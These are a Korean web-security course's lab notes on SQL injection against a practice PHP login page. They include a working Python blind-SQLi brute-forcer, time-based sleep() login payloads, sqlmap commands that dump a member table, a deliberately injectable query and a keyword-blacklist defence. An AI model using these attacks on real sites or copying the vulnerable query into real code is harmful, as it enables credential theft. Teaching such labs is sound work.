192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] &quot;POST /login_check.php HTTP/1.1&quot; 200 129 &quot;-&quot; &quot;Python-urllib/2.7&quot;
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] &quot;POST /login_check.php HTTP/1.1&quot; 200 129 &quot;-&quot; &quot;Python-urllib/2.7&quot;
192.168.20.41 - - [10/Apr/2023:12:34:58 +0900] &quot;POST /login_check.php HTTP/1.1&quot; 200 129 &quot;-&quot; &quot;Python-urllib/2.7&quot;
  :
  :(생략)

</code></pre><blockquote>
<p><strong>실습&gt; Blind SQLi을 이용한 자동화 프로그램 제작하기</strong></p>
</blockquote>
<pre><code>(SQLiProject) [root@webhacking ~]# vi loginAttack2.py
#!/usr/bin/env python
# 파일명: loginAttack2.py
# 프로그램 설명: Blind SQLi을 이용한 자동화 로그인(python3)
# 작성자: 리눅스마스터넷

import re
import sys
import requests

# ?? 를 자신의 Victim의 IP 주소로 변경한다.
url     = &#39;http://192.168.20.??/login_check.php&#39;
cookies = { &#39;PHPSESSID&#39;:&#39;9nd01svrf2v1khckg29upofbh2&#39; }
agent   = { &#39;User-agent&#39;: &#39;James agent&#39; }

dbname=&#39;&#39;
debug = True
count = 1
queryCount = 1

print(&quot;Searching for DB name...&quot;)

try:
    while True:
        endCount = 1

        for i in range(48,123):
            if i in (58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 95, 96):
                continue  
            data = { &quot;user_id&quot;: f&quot;&#39; or ascii(substring(database(),{count},1))={i} #&quot;, &quot;user_pw&quot;:&quot;111&quot;}
            res = requests.post(url, data=data, cookies=cookies, headers=agent)
            ok = re.findall(&quot;location.replace&quot;, res.text)

            if ok :  # DB명을 찾았다면
                dbname += chr(i)
                if debug:
                    print(f&#39;[+] {endCount}, {chr(i)}, {ok}, {res.text}&#39;)
                print(&quot;Now dbname:&quot;+dbname)
                break

            if debug:
                print(data)
                print(f&#39;[+] {endCount}, {chr(i)}, {ok}, {res.text}&#39;)

            queryCount += 1
            endCount += 1
        else:  # DB의 끝이면
            break  # DB명의 끝이면 while문을 종료한다.

        count += 1
except:
    print()

print(&quot;&gt;&gt;&gt; Result &lt;&lt;&lt;\n&quot;
      f&quot;Total queryCount: {queryCount}, Found dbname: {dbname} &quot;)


(SQLiProject) [root@webhacking ~]# chmod 755 loginAttack2.py
(SQLiProject) [root@webhacking ~]# ./loginAttack2.py

</code></pre><blockquote>
<p><strong>실습&gt; 윈도우에서 소스 분석하기</strong></p>
</blockquote>
<pre><code>1. VSCode 실행
VSCode 실행한다.

2. 가상 환경 생성
cmd 창을 실행해서 SQLiProject 가상환경을 생성한다.
D:\pythonWorkspace&gt;python -m venv SQLiProject
D:\pythonWorkspace&gt;SQLiProject\Scripts\activate
(SQLiProject) D:\pythonWorkspace&gt;

3. VSCode 가상환경 선택
VSCode 로 다시 가면 생성된 가상환경을 체크하고 선택할 수 있도록 메세지가 출력되고 예를 선택한다.

&gt;&gt;&gt; 출력 메세지 박스 &lt;&lt;&lt;
! 새 환경이 생성되었음을 확인했습니다. 작업 영역 폴더에 대해 선택하시겠습니까? 예

오른쪽 아래부분에 이 메세지가 출력되면 가상환경으로 선택이 된 것이다.
Python 3.x.x(&#39;SQLiProject&#39;:venv)

4. requests 모듈 설치
cmd 창에서 pip를 최신버전으로 업그레이드 한다.
(SQLiProject) D:\pythonWorkspace&gt;python -m pip install --upgrade pip

requests 모듈을 설치한다.
(SQLiProject) D:\pythonWorkspace&gt;pip install requests

5. 소스코드 작성
VSCode에서 loginAttack2.py 를 생성한다.
&quot;&quot;&quot;
파일명: loginAttack2.py
프로그램 설명: Blind SQLi을 이용한 자동화 로그인(python3)
작성자: 리눅스마스터넷
&quot;&quot;&quot;

import re
import sys
import requests

# ?? 를 자신의 Victim의 IP 주소로 변경한다.
url     = &#39;http://192.168.20.41/login_check.php&#39;
cookies = { &#39;PHPSESSID&#39;:&#39;9nd01svrf2v1khckg29upofbh2&#39; }
agent   = { &#39;User-agent&#39;: &#39;James agent&#39; }

dbname=&#39;&#39;
debug = True
count = 1
queryCount = 1

print(&quot;Searching for DB name...&quot;)

try:
    while True:
        endCount = 1

        for i in range(48,123):

            &quot;&quot;&quot;
            숫자, 대문자, 소문자가 아니면 continue
            0(48) ~ 9 : ; &lt; = &gt; ? @ A(65) B ... Z(90) [ \ ] ^ ` a(97) b c ... z(122)
            58: :, 59: ;, 60: &lt;, 61: =, 62: &gt;, 63: ?, 64: @
            91: [, 92: \, 93: ], 94: ^, 95: _(DB명으로 사용 가능), 96: `
            &quot;&quot;&quot;
            if i in (58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 96):
                continue
            data = { &quot;user_id&quot;: f&quot;&#39; or ascii(substring(database(),{count},1))={i} #&quot;, &quot;user_pw&quot;:&quot;111&quot;}
            res = requests.post(url, data=data, cookies=cookies, headers=agent)
            ok = re.findall(&quot;location.replace&quot;, res.text)

            if ok :  # DB명을 찾았다면
                dbname += chr(i)
                if debug:
                    print(f&#39;[+] {endCount}, {chr(i)}, {ok}, {res.text}&#39;)
                print(&quot;Now dbname:&quot;+dbname)
                break

            if debug:
                print(data)
                print(f&#39;[+] {endCount}, {chr(i)}, {ok}, {res.text}&#39;)

            queryCount += 1
            endCount += 1
        else:  # DB의 끝이면
            break  # DB명의 끝이면 while문을 종료한다.

        count += 1
except:
    print()

print(&quot;&gt;&gt;&gt; Result &lt;&lt;&lt;\n&quot;
      f&quot;Total queryCount: {queryCount}, Found dbname: {dbname} &quot;)

Ctrl + F5를 이용해서 스크립트를 실행해서 DB가 출력되는지 확인한다.
  :
  :(생략)
&gt;&gt;&gt; Result &lt;&lt;&lt;
Total queryCount: 350, Found dbname: WebTest

6. 분석 내용
숫자, 대문자, 소문자 순서대로 for문을 이용해서 반복한다.
중간에 숫자 대문자 사이에 특수문자들은 건너뛴다.
대문자와 소문자 사이에 특수문자들은 건너뛴다.
숫자, 대문자, 소문자가 아니면 continue
0(48) ~ 9 : ; &lt; = &gt; ? @ A(65) B ... Z(90) [ \ ] ^ ` a(97) b c ... z(122)
58: :, 59: ;, 60: &lt;, 61: =, 62: &gt;, 63: ?, 64: @
91: [, 92: \, 93: ], 94: ^, 95: _(DB명으로 사용 가능), 96: `

for i in range(48, 123):
     if i in (58, 59, 60, 61, 62, 63, 64, 91, 92, 93, 94, 96):
         print(f&quot;[{i} =&gt; {chr(i)}]&quot;)
         continue
     print(f&quot;{i} =&gt; {chr(i)}&quot;)

48 =&gt; 0
49 =&gt; 1
50 =&gt; 2
51 =&gt; 3
52 =&gt; 4
53 =&gt; 5
54 =&gt; 6
55 =&gt; 7
56 =&gt; 8
57 =&gt; 9
[58 =&gt; :]
[59 =&gt; ;]
[60 =&gt; &lt;]
[61 =&gt; =]
[62 =&gt; &gt;]
[63 =&gt; ?]
[64 =&gt; @]
65 =&gt; A
66 =&gt; B
67 =&gt; C
68 =&gt; D
69 =&gt; E
70 =&gt; F
71 =&gt; G
72 =&gt; H
73 =&gt; I
74 =&gt; J
75 =&gt; K
76 =&gt; L
77 =&gt; M
78 =&gt; N
79 =&gt; O
80 =&gt; P
81 =&gt; Q
82 =&gt; R
83 =&gt; S
84 =&gt; T
85 =&gt; U
86 =&gt; V
87 =&gt; W
88 =&gt; X
89 =&gt; Y
90 =&gt; Z
[91 =&gt; []
[92 =&gt; \]
[93 =&gt; ]]
[94 =&gt; ^]
95 =&gt; _
[96 =&gt; `]
97 =&gt; a
98 =&gt; b
99 =&gt; c
100 =&gt; d
101 =&gt; e
102 =&gt; f
103 =&gt; g
104 =&gt; h
105 =&gt; i
106 =&gt; j
107 =&gt; k
108 =&gt; l
109 =&gt; m
110 =&gt; n
111 =&gt; o
112 =&gt; p
113 =&gt; q
114 =&gt; r
115 =&gt; s
116 =&gt; t
117 =&gt; u
118 =&gt; v
119 =&gt; w
120 =&gt; x
121 =&gt; y
122 =&gt; z

re.findall(&quot;패턴문자열&quot;, &quot;문자열&quot;)
패턴 문자열에서 문자열이 있으면 리스트 형태로 리턴한다.
없으면 [] 를 리턴한다. 
리턴값을 체크하면 [] 나오면 못찾았다는 의미다.

로그인이 실패일 경우 테스트
&gt;&gt;&gt; text=&quot;&lt;script&gt;alert(&#39;아이디 또는 패스워드가 일치하지 않습니다.&#39;);history.back();&lt;/script&gt;&quot;
&gt;&gt;&gt; ok = re.findall(&quot;location.replace&quot;, text)
&gt;&gt;&gt; ok
[]
&gt;&gt;&gt; if ok:
...     print(&quot;^^&quot;)
...

로그인이 성공일 경우 테스트
&gt;&gt;&gt; text=&quot;&lt;script&gt;alert(&#39;로그인 되었습니다.&#39;);location.replace(&#39;index.php&#39;);&lt;/script&gt;&quot;
&gt;&gt;&gt; text
&quot;&lt;script&gt;alert(&#39;로그인 되었습니다.&#39;);location.replace(&#39;index.php&#39;);&lt;/script&gt;&quot;
&gt;&gt;&gt; ok = re.findall(&quot;location.replace&quot;, text)
&gt;&gt;&gt; ok
[&#39;location.replace&#39;]
&gt;&gt;&gt; if ok:
...     print(&quot;^^&quot;)
...
^^
</code></pre><blockquote>
<p><strong>실습&gt;  Blind SQLi 2</strong></p>
</blockquote>
<pre><code>참과 거짓을 반환하지 않을 경우에 사용한다.

1. 소스코드 수정

[root@webhacking html]# cat login_check.php
&lt;?php
    session_start();
    $id=trim($_POST[&quot;user_id&quot;]);
    $pw=trim($_POST[&quot;user_pw&quot;]);

    if($id==&quot;&quot; &amp;&amp; $pw==&quot;&quot;){
      echo &quot;&lt;script&gt;
        alert(&#39;아이디와 패스워드를 모두 입력해주세요.&#39;);
        history.back();
      &lt;/script&gt;&quot;;
      exit();
    }

    /*
    if($id == &quot;admin&quot;){
      // 임시 처리
      if($_SERVER[&#39;REMOTE_ADDR&#39;] != &quot;200.200.200.1&quot;){
        echo &quot;&lt;script&gt;
          alert(&#39;해당 로그인이 실패하였습니다.&#39;);
          history.back();
        &lt;/script&gt;&quot;;
        exit();
      }
    }
    */

    //$id = addslashes($id);

/*
if(eregi(&quot;substring&quot;,$id)){
    echo &quot;&lt;script&gt;
          alert(&#39;불법 접근은 금지합니다.&#39;);
          history.back();
          &lt;/script&gt;&quot;;
    exit();
}

if(preg_match(&quot;/SELECT|insert|delete|update|drop/i&quot;,$id)){
    exit(&quot;no hack!!&quot;);
}
if(preg_match(&quot;/union|from|limit|information_schema|NULL/i&quot;, $id)){
    exit(&quot;no hack!!&quot;);
}
*/

    require(&quot;dbconn.php&quot;);

    $strSQL=&quot;select * from member where u_id=&#39;&quot;.$id.&quot;&#39; and u_pass=&#39;&quot;.$pw.&quot;&#39;;&quot;;
    //$strSQL=&quot;select * from member where u_id=&#39;admin&#39; and u_pass=&#39;P@ssw0rd&#39;;&quot;; 1
    //$strSQL=&quot;select * from member where u_id=&#39;admin&#39; and u_pass=&#39;111111&#39;;&quot;;  x
    //$strSQL=&quot;select * from member where u_id=&#39;&#39; or 1=1#&#39; and u_pass=&#39;1&#39;;&quot;;
    //$strSQL=&quot;select * from member where u_id=&#39;&#39; or 1=1&quot;;
    $rs=mysql_query($strSQL,$conn);
    $rs_arr=mysql_fetch_array($rs);

    //if(($rs_arr[u_id] == $id) &amp;&amp; ($rs_arr[u_pass] == $pw)){
    if($rs_arr){
      $_SESSION[&#39;user_id&#39;] = $rs_arr[&#39;u_id&#39;];
      $_SESSION[&#39;nickname&#39;] = $rs_arr[&#39;nickname&#39;];
      $_SESSION[&#39;ip_addr&#39;] = $_SERVER[&#39;REMOTE_ADDR&#39;];
      setcookie(&quot;login_access&quot;, &quot;HAHAHAHAHA&quot;, time()+3600, &quot;/&quot;, &quot;&quot;, false, true);

      // 소스코드 추가
      // 로그인에 성공하면 index.php로 보낸다.
      Header(&quot;Location: index.php&quot;);
    } else {
       // 소스코드 추가
       // 로그인에 실패하면 login.php로 보낸다.
       Header(&quot;Location: login.php&quot;);
    }

    /*
     소스코드 주석처리
      echo &quot;&lt;script&gt;
        alert(&#39;로그인 되었습니다.&#39;);
        location.replace(&#39;index.php&#39;);
      &lt;/script&gt;&quot;;
    } else {
      echo &quot;&lt;script&gt;
        alert(&#39;아이디 또는 패스워드가 일치하지 않습니다.&#39;);
        history.back();
      &lt;/script&gt;&quot;;
    }
    */
 ?&gt;


2. Burp에서 확인
Proxy로 걸어서 응답의 메세지를 확인한다.
</code></pre><blockquote>
<p><strong>실습&gt; sleep 함수</strong></p>
</blockquote>
<pre><code>1. sleep()함수 사용
MariaDB [WebTest]&gt; SELECT sleep(3);
+----------+
| sleep(3) |
+----------+
|        0 |
+----------+
1 row in set (3.08 sec)

MariaDB [WebTest]&gt; SELECT sleep(5);
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)

2. 결과가 참일 경우
MariaDB [WebTest]&gt; SELECT 1 and sleep(3);
+----------------+
| 1 and sleep(3) |
+----------------+
|              0 |
+----------------+
1 row in set (3.00 sec)

MariaDB [WebTest]&gt; SELECT 1 and sleep(10);
+-----------------+
| 1 and sleep(10) |
+-----------------+
|               0 |
+-----------------+
1 row in set (10.00 sec)

3. 결과가 거짓일 경우
MariaDB [WebTest]&gt; SELECT 0 and sleep(10);
+-----------------+
| 0 and sleep(10) |
+-----------------+
|               0 |
+-----------------+
1 row in set (0.00 sec)

MariaDB [WebTest]&gt; SELECT 0 and sleep(3);
+----------------+
| 0 and sleep(3) |
+----------------+
|              0 |
+----------------+
1 row in set (0.00 sec)


4. python으로 실행한 경우
&gt;&gt;&gt; import time
&gt;&gt;&gt; time.sleep(2)
&gt;&gt;&gt; time.sleep(3)
&gt;&gt;&gt; 1 and 1
1
&gt;&gt;&gt; 1 and time.sleep(2)
&gt;&gt;&gt; 0 and 1
0
&gt;&gt;&gt; 0 and time.sleep(2)
0

5. 로그인 시도
참이므로 3초이상 지연되고 로그인 페이지로 이동한다.
LOGIN
ID: &#39; or 1 and sleep(3) #
PASSWORD: 1

거짓이므로 즉시 로그인 페이지로 이동한다.
LOGIN
ID: &#39; or 0 and sleep(3) #
PASSWORD: 1

참이므로 3초이상 지연되고 로그인 페이지로 이동한다.
database: WebTest
W 를 체크하므로 참이다.
LOGIN
ID: &#39; or ascii(substring(database(),1,1))=87 and sleep(3)#
PASSWORD: 1

거짓이므로 즉시 로그인 페이지로 이동한다.
database: WebTest
P 를 체크하므로 거짓이다.
LOGIN
ID: &#39; or ascii(substring(database(),1,1))=80 and sleep(3)#
PASSWORD: 1
</code></pre><blockquote>
<p><strong>실습&gt; sqlmap을 이용한 SQLi 공격</strong></p>
</blockquote>
<pre><code>개요 
sqlmap은 파이썬으로 작성된 프로그램으로 2006년부터 지금까지 계속 버전업이 된 유명한 프로그램이다.
[root@kali ~]# ll `which sqlmap`
lrwxrwxrwx 1 root root 25 Feb  7 08:14 /usr/bin/sqlmap -&gt; ../share/sqlmap/sqlmap.py

[root@kali ~]# vi /usr/share/sqlmap/sqlmap.py
#! /usr/bin/python3

&quot;&quot;&quot;
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file &#39;LICENSE&#39; for copying permission
&quot;&quot;&quot;
  :
  :(생략)

1. 취약점 확인
취약점이 있는지 확인한다.
sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num

2. sqlmap 으로 DB 추출하기
-u : URL
-p : 취약한 파라미터
--dbs : DB 목록 출력

sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num --dbs

물어보는 부분이 나오면 모두 엔터를 친다.  

  :
  :(생략)
[21:33:48] [INFO] fetching database names
[21:33:48] [WARNING] reflective value(s) found and filtering out
[21:33:48] [INFO] retrieved: &#39;information_schema&#39;
[21:33:48] [INFO] retrieved: &#39;WebTest&#39;
[21:33:48] [INFO] retrieved: &#39;websecurity&#39;
available databases [3]:                                                                        
[*] information_schema
[*] websecurity
[*] WebTest     &lt;-- 


3. sqlmap 으로 TB 추출하기
-D : DB명 
--tables : 테이블 목록 출력

sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num -D WebTest --tables

물어보는 부분이 나오면 모두 엔터를 친다.  

  :
  :(생략)
[21:35:55] [INFO] fetching tables for database: &#39;WebTest&#39;
[21:35:55] [WARNING] reflective value(s) found and filtering out
[21:35:55] [INFO] retrieved: &#39;board&#39;
[21:35:55] [INFO] retrieved: &#39;member&#39;
Database: WebTest                                                                                                    
[2 tables]
+--------+
| member |
| board  |
+--------+

4. sqlmap 으로 COLUMNS 추출하기
-D DB : DB명
-T TB : TB명
--columns : 컬럼 목록 출력

sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num -D WebTest -T board --columns

물어보는 부분이 나오면 모두 엔터를 친다.

  :
  :(생략)
Database: WebTest                                                                                                    
Table: board
[11 columns]
+-------------+--------------+
| Column      | Type         |
+-------------+--------------+
| filename    | varchar(50)  |
| filesize    | int(11)      |
| htmlTag     | char(1)      |
| strContent  | text         |
| strEmail    | varchar(50)  |
| strName     | varchar(20)  |
| strNumber   | int(11)      |
| strPassword | varchar(20)  |
| strSubject  | varchar(100) |
| viewCount   | int(11)      |
| writeDate   | datetime     |
+-------------+--------------+

sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num -D WebTest -T member --columns

물어보는 부분이 나오면 모두 엔터를 친다.

  :
  :(생략)
Database: WebTest
Table: member
[8 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| no       | int(11)     |
| age      | int(11)     |
| email    | char(50)    |
| nickname | char(20)    |
| reg_date | datetime    |
| u_id     | varchar(20) |
| u_name   | varchar(20) |
| u_pass   | varchar(50) |
+----------+-------------+

5. Data 추출하기
-u URL : 타겟 URL
-p TESTPARAMETER : 공격을 수행할 파라미터
--dbs : DB 추출
--tables : TB 추출
--columns : 컬럼 추출
-D DB : DB명
-T TB : TB명
--dump : 데이터 추출

sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num -D WebTest -T member --dump

  :
  :(생략)
Database: WebTest                                                                                                    
Table: member
[2 entries]
+--------+-----+------+------------------+--------+--------+----------+---------------------+
| u_id   | age | no   | email            | u_name | u_pass | nickname | reg_date            |
+--------+-----+------+------------------+--------+--------+----------+---------------------+
| tester | 3   | 1    | tester@naver.com | 테스터 | 111111 | 테스터   | 2022-10-28 22:28:11 |
| admin  | 30  | 2    | admin@naver.com  | 관리자 | 222222 | 관리자   | 2022-10-28 22:28:47 |
+--------+-----+------+------------------+--------+--------+----------+---------------------+

[21:38:51] [INFO] table &#39;WebTest.`member`&#39; dumped to CSV file &#39;/root/.local/share/sqlmap/output/200.200.200.101/dump/WebTest/member.csv&#39;
[21:38:51] [INFO] fetched data logged to text files under &#39;/root/.local/share/sqlmap/output/200.200.200.101&#39;

[*] ending @ 21:38:51 /2022-11-02/
</code></pre><blockquote>
<p><strong>실습&gt; sqlmap을 다시 점검하고자 할 때</strong></p>
</blockquote>
<pre><code>다시 점검할 때 자신의 홈디렉터에서 .local 디렉터리를 삭제한 후 진행한다.

이전 실습에 성공하면 아래 경로에 파일이 생성된다.
[root@kali ~]# pwd
/root

[root@kali ~]# cat .local/share/sqlmap/output/192.168.20.41/dump/WebTest/member.csv
u_id,age,no,email,u_name,u_pass,nickname,reg_date
tester,1,1,11,테스터,111111,테스트계정1,2022-10-24 14:01:38
admin,0,2,&lt;blank&gt;,관리자,P@ssw0rd,관리자,2022-10-24 14:01:38

[root@kali ~]# rm -rf .local
yes | sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num 
yes | sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num --dbs
yes | sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num -D WebTest --tables
yes | sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num -D WebTest --columns
yes | sqlmap -u &quot;http://192.168.20.41/board/board_view.php?num=2&quot; -p num -D WebTest -T member --dump

</code></pre><blockquote>
<p><strong>실습&gt; SQLi 대응방안 중에서 입력값 검증하기</strong></p>
</blockquote>
<pre><code>Server Side Validation을 수행한다.

POST 방식으로 넘어온 id 부분을 검증한다.

-- login_check.php --
login_check.php
&lt;?php
    session_start();
    $id=trim($_POST[&quot;user_id&quot;]);
    $pw=trim($_POST[&quot;user_pw&quot;]);

    if($id==&quot;&quot; &amp;&amp; $pw==&quot;&quot;){
      echo &quot;&lt;script&gt;
        alert(&#39;아이디와 패스워드를 모두 입력해주세요.&#39;);
        history.back();
      &lt;/script&gt;&quot;;
      exit();
    }

    /*
    if($id == &quot;admin&quot;){
      // 임시 처리
      if($_SERVER[&#39;REMOTE_ADDR&#39;] != &quot;200.200.200.1&quot;){
        echo &quot;&lt;script&gt;
          alert(&#39;해당 로그인이 실패하였습니다.&#39;);
          history.back();
        &lt;/script&gt;&quot;;
        exit();
      }
    }
    */

    //$id = addslashes($id);

/*
if(eregi(&quot;substring&quot;,$id)){
    echo &quot;&lt;script&gt;
          alert(&#39;불법 접근은 금지합니다.&#39;);
          history.back();
          &lt;/script&gt;&quot;;
    exit();
}
*/

if(preg_match(&quot;/SELECT|insert|delete|update|drop/i&quot;,$id)){
    exit(&quot;1. no hack!!&quot;);
}
if(preg_match(&quot;/ascii|substring/i&quot;,$id)){
    exit(&quot;2. no hack!!&quot;);
}

if(preg_match(&quot;/union|from|limit|information_schema|NULL/i&quot;, $id)){
    exit(&quot;3. no hack!!&quot;);
}

    require(&quot;dbconn.php&quot;);

    $strSQL=&quot;select * from member where u_id=&#39;&quot;.$id.&quot;&#39; and u_pass=&#39;&quot;.$pw.&quot;&#39;;&quot;;
    //$strSQL=&quot;select * from member where u_id=&#39;admin&#39; and u_pass=&#39;P@ssw0rd&#39;;&quot;; 1
    //$strSQL=&quot;select * from member where u_id=&#39;admin&#39; and u_pass=&#39;111111&#39;;&quot;;  x
    //$strSQL=&quot;select * from member where u_id=&#39;&#39; or 1=1#&#39; and u_pass=&#39;1&#39;;&quot;;
    //$strSQL=&quot;select * from member where u_id=&#39;&#39; or 1=1&quot;;
    $rs=mysql_query($strSQL,$conn);
    $rs_arr=mysql_fetch_array($rs);

    //if(($rs_arr[u_id] == $id) &amp;&amp; ($rs_arr[u_pass] == $pw)){
    if($rs_arr){
      $_SESSION[&#39;user_id&#39;] = $rs_arr[&#39;u_id&#39;];
      $_SESSION[&#39;nickname&#39;] = $rs_arr[&#39;nickname&#39;];
      $_SESSION[&#39;ip_addr&#39;] = $_SERVER[&#39;REMOTE_ADDR&#39;];
      setcookie(&quot;login_access&quot;, &quot;HAHAHAHAHA&quot;, time()+3600, &quot;/&quot;, &quot;&quot;, false, true);

      echo &quot;&lt;script&gt;
        alert(&#39;로그인 되었습니다.&#39;);
        location.replace(&#39;index.php&#39;);
      &lt;/script&gt;&quot;;
    } else {
      echo &quot;&lt;script&gt;
        alert(&#39;아이디 또는 패스워드가 일치하지 않습니다.&#39;);
        history.back();
      &lt;/script&gt;&quot;;
    }
 ?&gt;
-- login_check.php --

-- loginAttack2.py --
debug = True
-- loginAttack2.py --


[root@webhacking ~]# . SQLiProject/bin/activate
(SQLiProject) [root@webhacking ~]# ./loginAttack2.py
Searching for DB name...
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=48 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 1, 0, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=49 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 2, 1, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=50 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 3, 2, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=51 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 4, 3, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=52 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 5, 4, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=53 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 6, 5, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=54 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 7, 6, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=55 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 8, 7, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=56 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 9, 8, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=57 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 10, 9, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=65 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 11, A, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=66 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 12, B, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=67 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 13, C, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=68 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 14, D, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=69 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 15, E, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=70 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 16, F, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=71 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 17, G, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=72 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 18, H, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=73 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 19, I, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=74 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 20, J, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=75 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 21, K, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=76 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 22, L, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=77 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 23, M, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=78 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 24, N, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=79 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 25, O, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=80 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 26, P, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=81 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 27, Q, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=82 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 28, R, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=83 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 29, S, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=84 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 30, T, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=85 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 31, U, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=86 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 32, V, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=87 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 33, W, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=88 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 34, X, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=89 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 35, Y, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=90 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 36, Z, [], 2. no hack!!
{&#39;user_id&#39;: &quot;&#39; or ascii(substring(database(),1,1))=97 #&quot;, &#39;user_pw&#39;: &#39;111&#39;}
[+] 37, a, [], 2. no hack!!
